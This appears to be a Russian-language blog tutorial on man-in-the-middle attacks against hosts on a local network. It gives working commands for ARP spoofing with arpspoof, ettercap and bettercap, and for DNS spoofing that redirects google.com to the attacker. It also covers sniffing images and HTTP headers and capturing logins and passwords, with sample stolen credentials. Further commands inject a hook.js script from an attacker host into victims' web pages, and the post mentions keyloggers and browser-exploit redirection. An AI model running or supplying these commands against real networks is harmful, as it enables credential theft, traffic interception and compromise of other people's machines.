четверг, 4 сентября 2014 г.

Man in the middle (MitM)

Используемая в примерах ОС - Ubuntu 14.04. Значительная часть приведённых операций требует прав суперпользователя и утилиты об этом так или иначе сообщают, если им не хватает полномочий. Будем считать, что все команды выполняются от имени суперпользователя.

ARP poisoning (spoofing)

Address Resolution Protocol - протокол определения адреса. С помощью этого протокола можно определить MAC адрес по известному IP.

1. Включить IP forwarding.
Если IP forwarding выключен, то перехваченный трафик никуда дальше хоста атакующего не пойдёт.
echo 1 > /proc/sys/net/ipv4/ip_forward 
При использовании sudo, не всегда удаётся произвести изменения в этом файле. Решение:
echo "1" | sudo tee /proc/sys/net/ipv4/ip_forward 

2. Произвести ARP-spoofing. Инструменты.
Рассмотрим два инструмента arpspoof и ettercap, которые позволяют провести ARP-spoofing.

 

dsniff

Использовать утилиту arpspoof из пакета dsniff, указав перенаправлять пакеты с целевого хоста (-t) через машину атакующего на хост 192.168.1.1, что указан последним параметром и наоборот (-r).
arpspoof -i wlan0 -t 192.168.1.36 -r 192.168.1.1
где 192.168.1.1 - роутер, через который проходит трафик из/во внешнюю сеть, 192.168.1.36 - атакуемый хост, машина, в подсети роутера.
Вывод:

99:99:99:99:99:99 11:11:11:11:11:11 0806 42: arp reply 192.168.1.36 is-at 99:99:99:99:99:99
99:99:99:99:99:99 33:33:33:33:33:33 0806 42: arp reply 192.168.1.1 is-at 99:99:99:99:99:99
<...>

Таким образом, программа сообщает роутеру (IP 192.168.1.1, MAC 11:11:11:11:11:11), что атакуемый хост (IP 192.168.1.36 и MAC 33:33:33:33:33:33), якобы имеет MAC 99:99:99:99:99:99, что на самом деле является адресом атакующего. Аналогично, вводится в заблуждение и хост атакуемого (вторая строчка вывода программы). Теперь весь трафик между роутером и жертвой будет проходить через компьютер атакующего.

Не всегда есть необходимость перехватывать трафик в обоих направлениях. Если целью атаки является перехват паролей, то достаточно перехватить трафик от жертву к шлюзу.

 

ettercap

Используем ettercap в текстовом режиме (-T), без вывода содержимого пакетов (-q) на интерфейсе (-i) wlan0. Ключ -M с параметром arp:remote говорит о проведении arp spoofing атаки. Последними параметрами, заключенные в двойные слеши, указаны хосты, между которыми нужно перехватить трафик.
ettercap -Tq -i wlan0 -M arp:remote  //192.168.1.1// /192.168.1.36//
ettercap 0.8.0 copyright 2001-2013 Ettercap Development Team
Listening on:
 wlan0 -> 99:99:99:99:99:99
      192.168.1.34/255.255.255.0
      fe80::1af4:6aff:fe40:66f2/64
Privileges dropped to UID 0 GID 0...
  33 plugins
  42 protocol dissectors
  57 ports monitored
16074 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services
Scanning for merged targets (2 hosts)...
* |==================================================>| 100.00 %
2 hosts added to the hosts list...
ARP poisoning victims:
 GROUP 1 : 192.168.1.1 11:11:11:11:11:11
 GROUP 2 : 192.168.1.36 33:33:33:33:33:33
Starting Unified sniffing...
Клавиши интерактивного управления ettercap:

 [vV]      - change the visualization mode
 [pP]      - activate a plugin
 [fF]      - (de)activate a filter
 [lL]      - print the hosts list
 [oO]      - print the profiles list
 [cC]      - print the connections list
 [sS]      - print interfaces statistics
 [<space>] - stop/cont printing packets
 [qQ]      - quit



bettercap


Многофункциональный инструмент для проведения MitM атак написанный на Ruby. Помимо проведения ARP спуфинга, имеет в своём арсенале сниффер (HTTP, FTP, ...), HTTP(S) прокси сервер, HTTP сервер.

Перед использованием необходимо установить пакеты
sudo apt-get install build-essential ruby-dev libpcap-dev
затем установить bettercap непосредственно
gem install bettercap
Самый простой сценарий использования, arp-spoofing:
bettercap -T 192.168.1.10, 192.168.1.11



Утилита автоматический определяет шлюз (getway), так что в параметрах остаётся указать только адреса хостов в подсети.

Конечно же можно сохранять трафик:
bettercap -T 192.168.2.37 --sniffer-output bettercap_out.cap
Запустить в режиме HTTP сниффера с логгированием в файл http-headers.log
bettercap -T 192.168.2.37 --sniffer-filter "tcp port http" --log http-headers.log
Все http заголовки по умолчанию выводятся в реальном времени на экран. Ключ --silent призван отключить этот вывод.


Что использовать в Windows?
Cain&Abel - arp-spoofing
Interceptor NG - arp-spoofing


Какие возможности даёт ARP-spoofing? 

 

DNS spoofing

Рассмотрим DNS spoofing, направлений против хоста, совершающегo запрос к DNS серверу. Предварительно выполнив ARP-spoofing, будем перехватывать ответы DNS сервера если они будут соответствовать нашим правилам замены, то заменять. Используем ettercаp.

1. Отредактировать правила перенаправления в файле:
/etc/ettercap/etter.dns
Например перенаправлять запросы к google.com на локальный адрес 192.168.1.34
google.com      A   192.168.1.34
*.google.com    A   192.168.1.34
www.google.com  PTR 192.168.1.34
 2. Запустить ettercap для выполнения подмены ответов DNS сервера:
-P dns_spoof - использовать плагин dns_spoof:
ettercap -Tq -i wlan0 -P dns_spoof -M arp:remote //192.168.1.1// //192.168.1.44//
Активировать плагин dns_spoof можно и после того как ettercap был запущен. Как это сделать подскажет меню ettercap, которое можно увидеть нажав клавишу h во время работы программы.
Если с машины попытаться зайти на google.com то вывод будет таким: 
<...>
Activating dns_spoof plugin...

dns_spoof: [google.com] spoofed to [192.168.1.34]
Ответы на запрос google.com, заменяются в соответствии с правилами, в то время как остальные приходят без изменения.


192.168.1.1 - роутер, 192.168.1.44 - хост, на который производится атака, 192.168.1.34 - IP google.com после спуфинга.

Данный вид атаки может применяться для перенаправленияатакуемого на страницу с вредоносным кодом (Metasploit Browser Autopwn ), для дальнейшего проникновения.

bettercap
Похожим образом работает bettercap, целевой IP адрес (-T <ip>) - не обязательный параметр:
bettercap --dns dns.conf
Содержимое файла, в котором описаны правила замены описывается в виде регулярных выражений. Например
192.168.1.2 .*  # заменит любой адрес на 192.168.1.2

Traffic dumping

Сохранить на диск перехваченный трафик можно с помошью гуёвого wireshark, консольных tshark и tcpdump, etc. 
tcpdump -i интерфейс -w файл-для-записи
tcpdump -i wlan0 -w dump.pcap
Для записи только перехваченного трафика нужно использовать фильтр по IP  (при необходимости добавить порт port <post>):
tcpdump -i wlan0 -w dump.pcap host 192.168.1.36 and port 80
src <IP>, dst <IP>, host <IP> - фильтровать по IP отправителя пакета, получателя, или получатели или отправитель соответственно.
src и dst ипользуются и чтобы указать порт-источник и порт-получатель, для сложного фильтра используются логические операторы or, and и not (||, && и !). more about tcpdump

 

Перехват изображений. driftnet

Программа извлекает изображения (JPEG, GIF) из трафика, а также потоковое аудио.
По умолчанию показывает пойманные изображения по мере их перехвата в отдельном окне, необходимо указать интерфейс (-i) или файл с дампом трафика -f.
driftnet -i wlan0
Сохранить изображение можно по клику.
Записывать изображения (-a) на диск (-d path):
driftnet -i wlan0 -a -d images/

Перехват HTTP заголовков. urlsnarf 

Перехватывает и выводит HTTP запросы в Common Log Format.

Перехват логинов и паролей. ettercap

Программа автоматически выводит перехваченные логины и пароли:
HTTP : 147.144.1.3:80 -> USER: Qqqqqqqqq  PASS: 11111qeejdjdjdjejejsjsj  INFO: http://fog.ccsf.edu/~sbowne/login1.html
CONTENT: username=Qqqqqqqqq&password=11111qeejdjdjdjejejsjsj

Перехват паролей возможен только для протокола http. Кроме того, браузер на машине атакуемого, может предупредить (или вообще заблокировать страницу) о невозможности проверить достоверность соединения, если используется протокол https. Забить тревогу могут и остальные программы использующие SSL, например почтовый клиент.

SSL strip

Инъекция JavaScript

Bettercap позволяет внедрять JS используя модуль прокси-сервера [bettecrap blog].
Инъекция для всех устройств в подсети
bettercap --proxy-module injectjs --js-url "http://192.168.1.3:3000/hook.js"
только конкретный IP (192.168.1.170):
bettercap -T  --proxy-module injectjs --js-url "http://192.168.1.3:3000/hook.js"
***
Фреймворк MITMf содержит уже готовый js кейлоггер. см. MITMf

Другие возможности 
- Изменение\подмена загружаемый файлов. Например внедрение кода в exe файлы см. MITMf

Сниффер Intercepter-NG научился подменять файлы в HTTP-трафике

Ссылки

Комментариев нет:

Отправить комментарий